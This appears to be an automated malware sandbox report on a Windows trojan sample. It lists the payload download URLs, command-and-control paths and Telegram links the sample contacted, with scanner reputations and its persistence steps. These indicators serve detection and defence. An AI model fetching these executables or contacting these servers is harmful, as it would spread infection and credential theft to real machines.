http://193.233.132.56/Pneh2sXQk0/Plugins/cred64.dll	0%	Avira URL Cloud	safe
http://193.233.132.167/mine/random.exe5e67ee	100%	Avira URL Cloud	malware
http://193.233.132.167/cost/sarra.exe	27%	Virustotal		Browse
http://193.233.132.167/mine/random.exe	100%	Avira URL Cloud	malware
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1=1	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.phpq8	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.php	0%	Avira URL Cloud	safe
http://193.233.132.167/mine/random.exe5e67ee8	100%	Avira URL Cloud	malware
http://193.233.132.56/Pneh2sXQk0/index.phpl	4%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.phpF	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1heH	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/Plugins/cred64.dll	22%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.php	21%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.phpUsers	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1=1	20%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.phpF	20%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.phpq8	20%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1%r0	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1a	0%	Avira URL Cloud	safe
https://t..	0%	Avira URL Cloud	safe
http://193.233.132.56/Pneh2sXQk0/index.phpmb3JtLXVybGVuY29kZWQ=	0%	Avira URL Cloud	safe
http://193.233.132.167/mine/amert.exe	100%	Avira URL Cloud	malware
http://193.233.132.56/Pneh2sXQk0/index.phpoded	0%	Avira URL Cloud	safe
http://193.233.132.167/mine/random.exe	24%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.phpUsers	14%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.phpoded	20%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.phpmb3JtLXVybGVuY29kZWQ=	19%	Virustotal		Browse
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1a	20%	Virustotal		Browse
http://193.233.132.167/mine/amert.exe	27%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ipinfo.io	34.117.186.192	true	false		high
db-ip.com	172.67.75.166	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1	true	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dll	true	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://193.233.132.167/lend/alexxxxxxxx.exe	false	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://193.233.132.167/cost/random.exe	false	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://193.233.132.167/cost/sarra.exe	false	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://193.233.132.56/Pneh2sXQk0/Plugins/cred64.dll	true	22%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://193.233.132.167/mine/random.exe	false	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://193.233.132.56/Pneh2sXQk0/index.php	true	21%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ipinfo.io/widget/demo/81.181.54.60	false		high
http://193.233.132.167/mine/amert.exe	false	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://db-ip.com/demo/home.php?s=81.181.54.60	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dllh	explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://193.233.132.56/Pneh2sXQk0/index.phpll32.dll	explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://db-ip.com/demo/home.php?s=81.181.54.609	ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/	MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io:443/widget/demo/81.181.54.60R	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.phpded	explorha.exe, 00000006.00000002.2908237175.0000000000B11000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ipinfo.io:443/widget/demo/81.181.54.60P	MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1Trg	rundll32.exe, 00000008.00000002.2450583634.000002E176286000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/RiseProSUPPORTW	RageMP131.exe, 0000001A.00000002.2900005103.0000000001A6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_bot:y	MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/demo/home.php?s=81.181.54.60e	MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000B.00000002.2432332718.00000246D4E79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2414037299.00000246C66E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io/widget/demo/81.181.54.60s	MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_botisepro_bot	MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/demo/home.php?s=81.181.54.60u	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/demo/home.php?s=81.181.54.60r	RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_botrisepro4.60#	RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.winimage.com/zLibDllDp	ad0e9cf6d6.exe, 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, MPGPH131.exe, 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, RageMP131.exe, 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2890560740.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, RageMP131.exe, 0000001C.00000002.2898506799.0000000000E31000.00000040.00000001.01000000.00000013.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000B.00000002.2414037299.00000246C4E11000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.233.132.56/	rundll32.exe, 00000008.00000002.2450583634.000002E176250000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://db-ip.com/demo/home.php?s=81.181.54.60l	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/mine/amert.exeQ	explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.233.132.56/Pneh2sXQk0/index.php51001	explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2414037299.00000246C643E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2414037299.00000246C631F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/risepro_botlaterH	ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000B.00000002.2414037299.00000246C66E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://db-ip.com/W	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	ad0e9cf6d6.exe, 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2890560740.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 0000001B.00000003.2670876049.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000003.2754517007.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2898506799.0000000000E31000.00000040.00000001.01000000.00000013.sdmp	false		high
https://t.me/RiseProSUPPORT	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.000000000152E000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2899823054.00000000014DD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2899702692.00000000011B8000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001378000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001A6E000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000A18000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/RiseProSUPPORT7uW	ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.phpIY	explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dllB	explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1;BU)(A;OICI;GXGR;;;WD)AY	rundll32.exe, 00000008.00000002.2450226998.000002E174328000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io/B	MPGPH131.exe, 00000013.00000002.2899823054.00000000014DD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com:443/demo/home.php?s=81.181.54.60z	RageMP131.exe, 0000001A.00000002.2900005103.0000000001AD8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/E	MPGPH131.exe, 00000014.00000002.2899702692.00000000011FC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/mine/random.exeu	explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.233.132.167/mine/random.exeo	explorha.exe, 00000006.00000002.2908237175.0000000000B11000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000003.2572249094.0000000000B11000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ipinfo.io/	RageMP131.exe, 0000001C.00000002.2892698190.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/widget/demo/81.181.54.604	ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001401000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/RiseProSUPPORT.C	ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001378000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/y	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000B.00000002.2414037299.00000246C5038000.00000004.00000800.00020000.00000000.sdmp	false		high
https://db-ip.com:443/demo/home.php?s=81.181.54.60j11	MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/widget/demo/81.181.54.607g	MPGPH131.exe, 00000013.00000002.2899823054.0000000001547000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.php1Y	explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.56/Pneh2sXQk0/index.phpl	rundll32.exe, 0000000D.00000002.2892509768.0000000002DAA000.00000004.00000020.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://db-ip.com/demo/home.php?s=81.181.54.603	ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/widget/demo/81.181.54.60D	ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D31000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/widget/demo/81.181.54.60G	ad0e9cf6d6.exe, 00000016.00000002.2901115112.00000000013B0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/mine/random.exe5e67ee	explorha.exe, 00000006.00000003.2572249094.0000000000B11000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.winimage.com/zLibDllDpRTpR	ad0e9cf6d6.exe, 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000003.2670876049.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000003.2754517007.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	false		high
https://t.me/RiseProSUPPORTy	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.000000000152E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1=1	rundll32.exe, 00000008.00000002.2450583634.000002E176250000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/risepro_botH	ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000B.00000002.2414037299.00000246C66E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://193.233.132.56/Pneh2sXQk0/index.phpq8	rundll32.exe, 00000008.00000002.2450226998.000002E1743B6000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://db-ip.com/%	ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.167/mine/random.exe5e67ee8	explorha.exe, 00000006.00000003.2572249094.0000000000B11000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://db-ip.com/?	ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io:443/widget/demo/81.181.54.60	MPGPH131.exe, 00000014.00000002.2899702692.000000000123F000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.000000000139C000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001AF8000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/s	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.000000000156D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000B.00000002.2414037299.00000246C66E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://193.233.132.56/Pneh2sXQk0/index.phpF	explorha.exe, 00000006.00000002.2904871906.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1heH	rundll32.exe, 00000008.00000002.2450583634.000002E176250000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/risepro_bot=	RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.phpUsers	explorha.exe, 00000006.00000002.2904871906.0000000000ACF000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://db-ip.com/O	RageMP131.exe, 0000001C.00000002.2892698190.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1%r0	rundll32.exe, 00000008.00000002.2450583634.000002E176286000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://db-ip.com:443/demo/home.php?s=81.181.54.60	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2899823054.00000000015C1000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.000000000139C000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000A3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.php?wal=1a	rundll32.exe, 00000008.00000002.2450226998.000002E1743E1000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000B.00000002.2432332718.00000246D4E79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2414037299.00000246C66E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/risepro_bot.60$	RageMP131.exe, 0000001A.00000002.2900005103.0000000001B1F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://db-ip.com/demo/home.php?s=81.181.54.60z	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t..	ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 0000000B.00000002.2414037299.00000246C643E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/risepro_botisepro_bot=y	MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/Mozilla/5.0	ad0e9cf6d6.exe, 0000000E.00000002.2899511665.00000000015B9000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2899823054.0000000001568000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2899702692.000000000123F000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001401000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2900005103.0000000001AF8000.00000004.00000020.00020000.00000000.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2899906301.0000000000D31000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2892698190.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_bot4y	MPGPH131.exe, 00000014.00000002.2899702692.000000000124D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/risepro_bot	RageMP131.exe, 0000001A.00000002.2900005103.0000000001B5D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.phpmb3JtLXVybGVuY29kZWQ=	explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.winimage.com/zLibDll	ad0e9cf6d6.exe, 0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, MPGPH131.exe, 00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp, ad0e9cf6d6.exe, 00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp, ad0e9cf6d6.exe, 0000001B.00000002.2890560740.0000000000101000.00000040.00000001.01000000.0000000D.sdmp, ad0e9cf6d6.exe, 0000001B.00000003.2670876049.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000003.2754517007.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001C.00000002.2898506799.0000000000E31000.00000040.00000001.01000000.00000013.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 0000000B.00000002.2414037299.00000246C4E11000.00000004.00000800.00020000.00000000.sdmp	false		high
http://193.233.132.56/Pneh2sXQk0/index.phpoded	explorha.exe, 00000006.00000002.2908237175.0000000000B11000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://t.me/risepro_bot.604	ad0e9cf6d6.exe, 00000016.00000002.2901115112.0000000001419000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
147.45.47.93	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
172.67.75.166	db-ip.com	United States	13335	CLOUDFLARENETUS	false
193.233.132.56	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
193.233.132.167	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1425502
Start date and time:	2024-04-13 20:19:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@38/31@3/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:19:59	Task Scheduler	Run new task: explorha path: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
19:21:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ad0e9cf6d6.exe C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe
19:21:14	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
19:21:14	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
19:21:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
19:21:27	Task Scheduler	Run new task: explorgu path: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe
19:21:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ad0e9cf6d6.exe C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe
